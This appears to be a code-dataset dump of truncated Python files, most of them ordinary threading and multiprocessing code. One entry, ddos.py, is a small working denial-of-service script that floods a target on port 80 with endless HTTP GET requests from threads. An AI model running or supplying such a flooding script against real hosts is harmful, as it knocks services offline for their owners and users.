source
stringlengths
3
86
python
stringlengths
75
1.04M
environment.py
''' Sensehat Dashboard w/ Firebase ------------------------------------ Environment Sensor application ------------------------------------ Author: Vl-Wouter Modified: 03-16-2019 ''' import requests import threading import time from flask import Flask import firebase_admin from firebase_admin import cred...
adsb-mqtt.py
#!/usr/bin/env python3 # # Copyright (c) 2020 Johan Kanflo (github.com/kanflo) # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the # "Software"), to deal in the Software without restriction, including # without limitation the rights...
reflector.py
# specifically use concurrent.futures for threadsafety # asyncio Futures cannot be used across threads from concurrent.futures import Future import time import threading from traitlets.config import LoggingConfigurable from traitlets import Any, Dict, Int, Unicode from kubernetes import config, watch # This is kubern...
interface.py
# -*- coding: utf-8 -*- """ Created on Mon Apr 15 14:54:13 2019 @author: rday """ import matplotlib.pyplot as plt import numpy as np import tkinter as Tk from tkinter import filedialog from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg from threading import Thread from queue import Queue...
manager.py
#!/usr/bin/env python3 import datetime import os import signal import subprocess import sys import traceback from multiprocessing import Process import cereal.messaging as messaging import selfdrive.crash as crash from common.basedir import BASEDIR from common.params import Params, ParamKeyType from common.text_window...
fj_refactored.py
import numpy as np import time import multiprocessing import ctypes import warnings #Suppress the divide by zero errors warnings.filterwarnings('ignore', category=RuntimeWarning) np.set_printoptions(linewidth = 200, suppress = True) def fj_generate_sample(y, pct=0.10, random=True): n = y.size if random: ...
devserver.py
from __future__ import absolute_import from __future__ import print_function from __future__ import unicode_literals import atexit import logging import os import subprocess import sys from threading import Thread from django.contrib.staticfiles.management.commands.runserver import Command as RunserverCommand from dj...
build_image_data.py
#!/usr/bin/python # Copyright 2016 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by a...
mimic_tts.py
# Copyright 2017 Mycroft AI Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writin...
utils.py
import sys import os import base64 import time import binascii import select import pathlib import platform import re from subprocess import PIPE, run from colorama import Fore, Style,init from pyngrok import ngrok import socket import threading import itertools import queue pattern = '\"(\\d+\\.\\d...
log_test.py
#!/usr/bin/env python # # Copyright 2001-2002 by Vinay Sajip. All Rights Reserved. # # Permission to use, copy, modify, and distribute this software and its # documentation for any purpose and without fee is hereby granted, # provided that the above copyright notice appear in all copies and that # both that copyright n...
kb_RDP_ClassifierServer.py
#!/usr/bin/env python # -*- coding: utf-8 -*- import datetime import json import os import random as _random import sys import traceback from getopt import getopt, GetoptError from multiprocessing import Process from os import environ from wsgiref.simple_server import make_server import requests as _requests from json...
sequicity_server.py
# Copyright (c) Microsoft Corporation. # Licensed under the MIT license. from pprint import pprint from queue import PriorityQueue from threading import Thread from flask import Flask, request, jsonify from convlab.modules.e2e.multiwoz.Sequicity.model import main as sequicity_load rgi_queue = PriorityQueue(maxsize=...
osdlyrics.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # osdlyrics.py --- desktop lyrics for musicbox # Copyright (c) 2015-2016 omi & Contributors import sys from multiprocessing import Process from multiprocessing import set_start_method from . import logger from .config import Config log = logger.getLogger(__name__) config...
org_manager.py
# org_manager.py __version__ = '0.0.1' import json import logging import os import sys import threading import traceback import sfdx_cli_utils as sfdx # Set the working directory to the location of the file. # dir_path = os.path.dirname(os.path.realpath(__file__)) os.chdir(dir_path) # Set the Log level # logging.ba...
multi_thread.py
# encoding: utf-8 import threading import time def greet(index): print 'hello world - %d' % index time.sleep(0.5) def line_run(): for x in range(5): greet(x) def async_run(): for x in range(5): thread = threading.Thread(target=greet, args=[x]) thread.start() if __name__ ...
main.py
import asyncio # aiohttp, html # these might be needed from socket import socket, AF_INET, SOCK_DGRAM, SOL_SOCKET, SO_BROADCAST from threading import Thread from typing import Optional import discord from utils.config import Config, Users from utils.utils import sanitize, Log import commands import administrating i...
colorlisten.py
import cv2 import math import numpy as np import pyaudio import itertools from scipy import interpolate from operator import itemgetter from matplotlib import pyplot as plt import threading # Audio parts were borrowed from # http://davywybiral.blogspot.be/2010/09/procedural-music-with-pyaudio-and-numpy.html # Video pa...
build_imagenet_data.py
# Copyright 2016 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or a...
test_functools.py
import abc import builtins import collections import collections.abc import copy from itertools import permutations import pickle from random import choice import sys from test import support import threading import time import typing import unittest import unittest.mock import os import weakref import gc from weakref ...
pxydrive.py
#!/usr/bin/python ############################################################################ # Proxylab testing framework # Main program ############################################################################ # Driver for testing Proxy Lab import sys import os import socket import getopt import time import ...
router.py
# -*- coding: utf-8 -*- # Copyright (c) 2021 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicab...
turbsim.py
import os import sys turb_ctrl_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '..')) if turb_ctrl_path not in sys.path: sys.path.append(turb_ctrl_path) from turb_control import ParamEstTurbCtrlr import numpy as np import matplotlib.pyplot as plt import random import time import threading...
__main__.py
from __future__ import division, unicode_literals, print_function, absolute_import # Ease the transition to Python 3 import os import labscript_utils.excepthook try: from labscript_utils import check_version except ImportError: raise ImportError('Require labscript_utils > 2.1.0') check_version('la...
OmniRigClientImpl.py
import pythoncom import win32com.client as win32 from RigParams import RigParams global omnirigObject global guiQtPanel global changeEventFunction class OmniRigClient: def __init__(self, guiPanel, changeEventFunc): global guiQtPanel global omnirigObject global changeEventFunction ...
interact.py
import asyncio import concurrent.futures from functools import partial from threading import Thread def _await(coro, context): f = concurrent.futures.Future() async def wrap(coro): try: result = await coro except Exception as e: f.set_exception(e) else: ...
video_utils.py
import cv2 from threading import Thread from queue import Queue import time import numpy as np from skimage.color import hsv2rgb from hamiltonian import DiscreteSpace from time_evolve import Propagator from typing import Generator def hsv_rep_color(probs, phis): """ Map probability densities and phases onto c...
ir_train.py
import time import numpy as np import pygame import pygame.font import picamera import cv2 from threading import Thread from cnn import checkModel from motor import forward, reverse from motor import left as lef from motor import right as righ from config import WIDTH, HEIGHT, CHANNEL, CP_WIDTH, CP_HEIGHT, MP_MN, TRAI...
smtio.py
# # yosys -- Yosys Open SYnthesis Suite # # Copyright (C) 2012 Claire Xenia Wolf <claire@yosyshq.com> # # Permission to use, copy, modify, and/or distribute this software for any # purpose with or without fee is hereby granted, provided that the above # copyright notice and this permission notice appear in all copies....
test_io.py
"""Unit tests for the io module.""" # Tests of io are scattered over the test suite: # * test_bufio - tests file buffering # * test_memoryio - tests BytesIO and StringIO # * test_fileio - tests FileIO # * test_file - tests the file interface # * test_io - tests everything else in the io module # * test_univnewlines - ...
CSV fixer.py
import csv import tkinter as tk from os.path import isfile from threading import Thread from tkinter import filedialog # https://stackoverflow.com/a/48971137 def bonifica(infile: str, outfile: str): try: incsv = open(infile, 'r', encoding='utf-8') outcsv = open(outfile, 'w', encoding='utf-8', new...
core.py
#AUTOGENERATED! DO NOT EDIT! File to edit: dev/30_text_core.ipynb (unless otherwise specified). __all__ = ['ProcessPoolExecutor', 'parallel', 'parallel_gen', 'UNK', 'PAD', 'BOS', 'EOS', 'FLD', 'TK_REP', 'TK_WREP', 'TK_UP', 'TK_MAJ', 'spec_add_spaces', 'rm_useless_spaces', 'replace_rep', 'replace_wrep', 'fix...
util.py
"""Test utilities.""" import logging from multiprocessing import Event from multiprocessing import Process import shutil import sys import tempfile import unittest from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import serialization import josepy as jose try: import moc...
redecanais.py
# -*- coding: utf-8 -*- # import os import re import sys import time import shutil import webbrowser import http.server import socketserver import threading import requests from os import environ from pychromecast import discovery, get_chromecasts from redecanais.settings import URL_SERVER, URL_TV_SERVER from sys impor...
slurpy.py
import click from threading import Thread import queue import datacube from odc import dscache from odc.dscache.tools import db_connect, raw_dataset_stream, mk_raw2ds from odc.dscache.tools import dictionary_from_product_list EOS = object() def qmap(proc, q, eos_marker=None): """ Converts queue to an iterator. ...
icat_db_generator.py
from abc import ABC, abstractmethod import argparse import datetime from multiprocessing import Pool, Process from random import choice, randrange, seed from faker import Faker from sqlalchemy import create_engine from sqlalchemy.orm import scoped_session, sessionmaker from sqlalchemy.pool import QueuePool from datag...
mininet_tests.py
#!/usr/bin/env python3 """Mininet tests for FAUCET.""" # pylint: disable=too-many-lines # pylint: disable=missing-docstring # pylint: disable=too-many-arguments # pylint: disable=unbalanced-tuple-unpacking import binascii import collections import copy import itertools import ipaddress import json import os import r...
session.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # Copyright 2020 Alibaba Group Holding Limited. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache...
newswrapper.py
#!/usr/bin/python3 -OO # Copyright 2007-2019 The SABnzbd-Team <team@sabnzbd.org> # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any late...
plot.py
import numpy as np import os import pinocchio as pin from mlp.utils.util import discretizeCurve, discretizeSE3CurveTranslation, discretizeDerivateCurve import matplotlib matplotlib.use("Qt4agg") import matplotlib.pyplot as plt from multiprocessing import Process from mlp.utils.requirements import Requirements pin.switc...
back_translation.py
#!/usr/bin/env python # -*- coding: utf-8 -*- """ @File : back_translation.py @Author : Yuqiang Xie @Date : 2021/1/5 @E-Mail : indexfziq@gmail.com """ import requests import json import execjs # pip install PyExecJS from urllib.parse import quote from tqdm import tqdm import jsonlines import datetime, time impor...
ddos.py
import socket import threading target = 'ip addr' port = 80 num = 0 def attack(): while True: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port)) ...
Rat_Experiment_1_24BoundaryCell.py
#! /usr/bin/env python3 """ Test client for the <Rat_Experiment_1> simulation environment. This simple program shows how to control a robot from Python. For real applications, you may want to rely on a full middleware, like ROS (www.ros.org). """ import sys import base64 import random import os import keras from ker...
ur5_reacher_6D.py
# Copyright (c) 2018, The SenseAct Authors. # All rights reserved. # # This source code is licensed under the BSD-style license found in the # LICENSE file in the root directory of this source tree. import time import copy import numpy as np import baselines.common.tf_util as U from multiprocessing import Process, Val...
comms.py
import os import signal import socket import sys import time import threading def str2bytes(s): if type(s) == str: return bytes(s, "utf8") else: return s def bytes2str(b): if type(b) == bytes: return str(b, "utf8") else: return b class Comms: def __init__(self, h...
story.py
import pathlib import re import shutil import tempfile import threading from typing import List from booksite.basesite import Book, Chapter, BaseSite import functools import importlib import requests import sys import xml.dom.minidom class _Download(threading.Thread): MAX_THREADING_NUMBER = 50 complete_count ...
core.py
# Copyright 2011-2013 James McCauley # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at: # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in ...
core.py
# -*- coding: utf-8 -*- # # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the #...
test_functools.py
import abc import builtins import collections import collections.abc import copy from itertools import permutations import pickle from random import choice import sys from test import support import threading import time import typing import unittest import unittest.mock import os import weakref import gc from weakref ...
global_map_merger.py
#!/usr/bin/env python import rospy import tf from nav_msgs.msg import OccupancyGrid, Odometry import math import numpy as np import copy import time import threading merged_map=OccupancyGrid() map_list=[] map_object=[] merge_pending=False def pub_map(): global map_list global pub global _bot_count gl...
treeman.py
""" To debug code in Qt event loop, call pyqtRemoveInputHook before set_trace pyqtRemoveInputHook() import pdb; pdb.set_trace() """ import sys import time import threading import argparse import cv2 from PIL import Image, ImageDraw, ImageFilter import numpy as np from PyQt5.QtWidgets import QApplication, QMainWind...
fourth_tab.py
# -*- coding: utf-8 -*- from srcs.const import * import sys import threading import tkinter as tk from tkinter import ttk from tkinter.messagebox import * from tkinter.filedialog import * from tkinter.scrolledtext import ScrolledText from PIL import Image, ImageTk import random import os import configparser from ti...
b01_remove_nans_dmstack.py
# Author : Bhishan Poudel # Date : July 5, 2019 # Update : Nov 7, 2019 # Description: #=============== # Remove nans from dmstack output csv files and # do some filterings to give txt files. # # Input/Oputputs: #================= # inputs : ../data/dmstack_csv/*.csv (100*4 csv files) # outputs: dmstack_txt/*.txt...
test_util.py
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
runtests.py
########################################################################## # If not stated otherwise in this file or this component's Licenses.txt # file the following copyright and licenses apply: # # Copyright 2015 RDK Management # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use th...
train.py
from network import * import os from worker import * import threading from time import sleep from graph import * flags = tf.app.flags FLAGS = flags.FLAGS flags.DEFINE_integer('max_episodes', 100000, 'Maximum episodes.') flags.DEFINE_integer('max_episode_steps', 100, 'Maximum steps for each episode.') flags.DEFINE_inte...
threading_flow.py
from threading import Thread, Semaphore import six from logging import getLogger from tfsnippet.utils import AutoInitAndCloseable from .base import DataFlow if six.PY2: from Queue import Queue else: from queue import Queue __all__ = ['ThreadingFlow'] class ThreadingFlow(DataFlow, AutoInitAndCloseable): ...
g_mqtt_client.py
#!/usr/bin/env python """ IoT Gateway Modbus (C)2020 - Michael Feil This is distributed under MIT license, see LICENSE """ """g_mqtt_client.py Function: Opening the MQTT connection to the MQTT Bridge, maintaining connectivity, publish data and receiving configuration updates. If publishing data, try to check fo...
test.py
#!/usr/bin/python2 # test.py # nroberts 04/10/2017 # Instead of lighting up a bridge, we light up the terminal from tennis_show import TennisShow import current_bridge from threading import Thread import Queue from colors import Colors thread_continuing = True class OutQueue: def put(self, event): print ...
test_channel.py
from __future__ import absolute_import import unittest import stackless try: import threading withThreads = True except ImportError: withThreads = False import sys import traceback import contextlib from support import test_main # @UnusedImport from support import StacklessTestCase, require_one_thread @c...
quick_verify.py
#!/usr/bin/env python2 import argparse import os import subprocess import psycopg2 import psycopg2.extras import time import logging import multiprocessing args = None workers = [] queue = multiprocessing.Queue() def executeOnDB(sql, params=None, dbname='postgres'): conn = psycopg2.connect(host=args.host, port=...
client.py
import threading import socket nickname = input('Choose a nickname: ') client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect(('127.0.0.1', 9999)) def receive(): while True: try: message = client.recv(1024).decode('ascii') if message == 'NICK': c...
hotword.py
from triggers.trigger import Trigger import threading from google.assistant.library import Assistant from google.assistant.library.event import EventType class HotwordTrigger(Trigger): def __init__(self, credentials): self.callback = None self.credentials = credentials def set_callback(self, c...
animation.py
import itertools import threading import time from fractions import Fraction from PIL import Image from PIL import ImageSequence from StreamDeck.ImageHelpers import PILHelper from StreamDeck.Transport.Transport import TransportError class Animations: def __init__(self, deck, fps: int = 30): self.deck = d...
server.py
import logging import socket import threading from typing import List, Callable, Any from .zone import Zone from ...event import BaseEvent, SystemStatusEvent from ...packet import Packet, CommandType _LOGGER = logging.getLogger(__name__) class Server: def __init__(self, handle_command: Callable[[str], None]): ...
test_lightningd.py
from concurrent import futures from decimal import Decimal from ephemeral_port_reserve import reserve as reserve_port from flaky import flaky from utils import wait_for import copy import json import logging import queue import os import random import re import shutil import socket import sqlite3 import stat import st...
preprocessor.py
### PREPROCESSOR ### # TODO COMMENTING # TODO REPORTING AND ANALYSIS # TODO PANDAS INTEGRATION # TODO FIX DESCRIPTIONS #? THREADING? #? ERROR HANDLING? #? DO UNIT TESTS? #* LIBRARIES from lib.preprocess_utils import * from lib.options import O import lib.pos_tagger as pos_tagger from googletrans import Translator fro...
ArmoryQt.py
#! /usr/bin/python # -*- coding: UTF-8 -*- ############################################################################## # # # Copyright (C) 2011-2015, Armory Technologies, Inc. # # Distributed under the GNU Affero Gener...
dev.py
from __future__ import absolute_import from __future__ import division import json import re import sys from builtins import range from builtins import str from pydub import AudioSegment from pydub.playback import play import pyspeedtest import os import requests from past.utils import old_div from .util import *...
fullnode.py
import json import time from functools import lru_cache from multiprocessing import Pool, Process from threading import Thread, Timer from typing import Any, Dict, List from datetime import datetime import requests import waitress from bottle import BaseTemplate, Bottle, request, response, static_file, template impor...
webcam.py
"""Raspberry Pi Face Recognition Treasure Box Webcam OpenCV Camera Capture Device Copyright 2013 Tony DiCola Webcam device capture class using OpenCV. This class allows you to capture a single image from the webcam, as if it were a snapshot camera. This isn't used by the treasure box code out of the box, but is usef...
collect_logs.py
# Microsoft Azure Linux Agent # # Copyright 2020 Microsoft Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required b...
widgets.py
"""A Jupyter Notebook interface to Klampt. Examples: Basic usage:: from klampt import * from klampt.vis.ipython import KlamptWidget from IPython.display import display world = WorldModel() ... #set up the world... kvis = KlamptWidget(world,width=800,height=640) ...
test_probe.py
# -*- coding: utf-8 -*- import json import socket import sys from http.server import BaseHTTPRequestHandler, HTTPServer from threading import Thread import pytest import requests_mock from fixtures import config, experiments, probes from chaoslib.activity import ensure_activity_is_valid, run_activity from chaoslib.ex...
eventlet_psycopg2.py
import eventlet eventlet.monkey_patch() import random from threading import Thread import psycopg2 if __name__ == "__main__": def add_and_select_data(cur, data): cur.execute( "insert into mytable(data) values (%s) returning id", (data,) ) row = cur.fetchone() id_ = ro...
augmented_translation_training.py
import os from time import sleep from threading import Thread from fairseq.tasks.translation import TranslationTask, register_task from fairseq import utils FAIRSEQ_DICT_FORMAT = 'dict.{lang}.txt' SLEEP_INTERVAL = 5 # while waiting for data processing to finish @register_task('augmented-translation') class Augment...
test_sockets.py
# Copyright 2013 The Emscripten Authors. All rights reserved. # Emscripten is available under two separate licenses, the MIT license and the # University of Illinois/NCSA Open Source License. Both these licenses can be # found in the LICENSE file. from __future__ import print_function import multiprocessing import o...
pyminer.py
#!/usr/bin/python # # Copyright (c) 2011 The Bitcoin developers # Distributed under the MIT/X11 software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. # import time import json import pprint import hashlib import struct import re import base64 import httplib import...
serve.py
# -*- coding: utf-8 -*- from __future__ import print_function import abc import argparse import json import logging import multiprocessing import os import platform import signal import socket import subprocess import sys import threading import time import traceback from six.moves import urllib import uuid from coll...
MAcSpoof.py
import subprocess import ctypes, sys import re import tkinter as tk import time import sys import os import ctypes import random from tkinter import * from tkinter.ttk import * #netsh interface ipv4 show interfaces try: def is_admin(): try: return ctypes.windll.shell32.IsUserAnAdmin() ex...
rurun.py
#! /usr/bin/python3 # # rurun # license--start # # Copyright 2012 John Marshall # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless ...
run_unittests.py
#!/usr/bin/env python3 # Copyright 2016-2017 The Meson development team # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by ...
BeatNet.py
# This is the BeatNet user script. First, it extracts the spectral features and then # feeds them to one of the pre-trained models to get beat/downbeat activations. # Therefore, it infers beats and downbeats based on one of the two offline and online inference models. import os import torch import numpy as np f...
launcher.py
import sys import glob import re import signal import tkinter as tk from tkinter import ttk, messagebox, scrolledtext from subprocess import Popen, PIPE, STDOUT from threading import Thread, enumerate from queue import Queue, Empty class Launcher(): def __init__(self): self.running = False self.q...
test_io.py
"""Unit tests for the io module.""" # Tests of io are scattered over the test suite: # * test_bufio - tests file buffering # * test_memoryio - tests BytesIO and StringIO # * test_fileio - tests FileIO # * test_file - tests the file interface # * test_io - tests everything else in the io module # * test_univnewlines - ...
main_window.py
import re import os import sys import time import datetime import traceback from decimal import Decimal import threading import electrum_stak from electrum_stak.bitcoin import TYPE_ADDRESS from electrum_stak import WalletStorage, Wallet from electrum_stak_gui.kivy.i18n import _ from electrum_stak.paymentrequest import...
nonce_fast.py
import sys import ethpow import math import utils import json import Queue import threading import multiprocessing import subprocess import base64 from rlp.sedes import big_endian_int, BigEndianInt, Binary from rlp.utils import decode_hex, encode_hex, ascii_chr, str_to_bytes f = open(sys.argv[1],'r') valuejson = base...
client.py
import socket import threading import json from cmd import Cmd class Client(Cmd): """ 客户端 """ prompt = '' intro = '[Welcome] 简易聊天室客户端(Cli版)\n' + '[Welcome] 输入help来获取帮助\n' def __init__(self): """ 构造 """ super().__init__() self.__socket = socket.socket(so...
lisp-etr.py
#----------------------------------------------------------------------------- # # Copyright 2013-2019 lispers.net - Dino Farinacci <farinacci@gmail.com> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain ...
p2p_utils.py
# P2P helper functions # Copyright (c) 2013-2015, Jouni Malinen <j@w1.fi> # # This software may be distributed under the terms of the BSD license. # See README for more details. import logging logger = logging.getLogger() import threading import time import Queue import hwsim_utils MGMT_SUBTYPE_PROBE_REQ = 4 MGMT_SU...
02_cheetah_es.py
#!/usr/bin/env python3 import gym import roboschool import ptan import time import argparse import numpy as np import collections import torch import torch.nn as nn from torch import multiprocessing as mp from torch import optim from tensorboardX import SummaryWriter NOISE_STD = 0.05 LEARNING_RATE = 0.01 PROCESSES_C...
BeetleClient.py
#!/usr/bin/env python # # Basic Beetle TCP client # ======================= # Write hex bytes to Beetle, get hex bytes response back. import argparse import os import re import signal import socket import ssl import struct import threading import time import random import numpy as np import lib.att as att def getTim...
zmq_driver_process.py
#!/usr/bin/env python """ @package ion.services.mi.zmq_driver_process @file ion/services/mi/zmq_driver_process.py @author Edward Hunter @brief Driver processes using ZMQ messaging. """ __author__ = 'Edward Hunter' __license__ = 'Apache 2.0' """ To launch this object from class static constructor: import ion.services...
couchdb_kill_start.py
#!/bin/python import sys; import subprocess; from time import sleep; from threading import Thread; from Thesis.ycsbClient.runMultipleYcsbClients import executeCommandOnYcsbNodes; from Thesis.plot.ParseYcsbTestResults import parseAndPlot; from Thesis.delete_data.deleteAllCouchdbData import deleteAllDataInCouchdb; from...
shrimpy_ws_client.py
import asyncio import json import websockets import threading class ConnectionFailureException(Exception): pass class ShrimpyConnectionClosed(Exception): pass class InvalidSubscriptionException(Exception): pass class ShrimpyWsException(Exception): def __init__(self, shrimpy_ws_error_json): ...
macos_device_management.py
#!/usr/bin/env python3 # pylint: disable=C0111, C0103, C0413, W0703, R0902, R0903, R0912, R0913, R0914, R0915 # NOTE: Horrible, horrible things... I'm sorry for this. I kind of hope nobody ever reads this - # that it stay a confession that nobody ever hears. I'll make things better later. import os import time import...
smoke.py
# Copyright 2018 John Reese # Licensed under the MIT license import asyncio import sqlite3 import sys from pathlib import Path from sqlite3 import OperationalError from threading import Thread from unittest import SkipTest, skipIf, skipUnless import aiounittest import aiosqlite from .helpers import setup_logger TES...
couple.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import sys from subprocess import PIPE, Popen from refinery.units import arg, Unit, RefineryPartialResult from refinery.lib.meta import metavars class couple(Unit): """ Turns any command into a refinery unit. Data is processed by feeding it to the standard inpu...
redoer.py
#! /usr/bin/env python3 # ----------------------------------------------------------------------------- # redoer.py - This script implements a daemon process that detects # "redo records" and processes them. There are 3 types of threads running: # 1) A single thread that monitors and logs periodic status. # ...
multiprocessing_env.py
# This code is from openai baseline # https://github.com/openai/baselines/tree/master/baselines/common/vec_env import numpy as np from multiprocessing import Process, Pipe def worker(remote, parent_remote, env_fn_wrapper): parent_remote.close() env = env_fn_wrapper.x() while True: cmd, data = rem...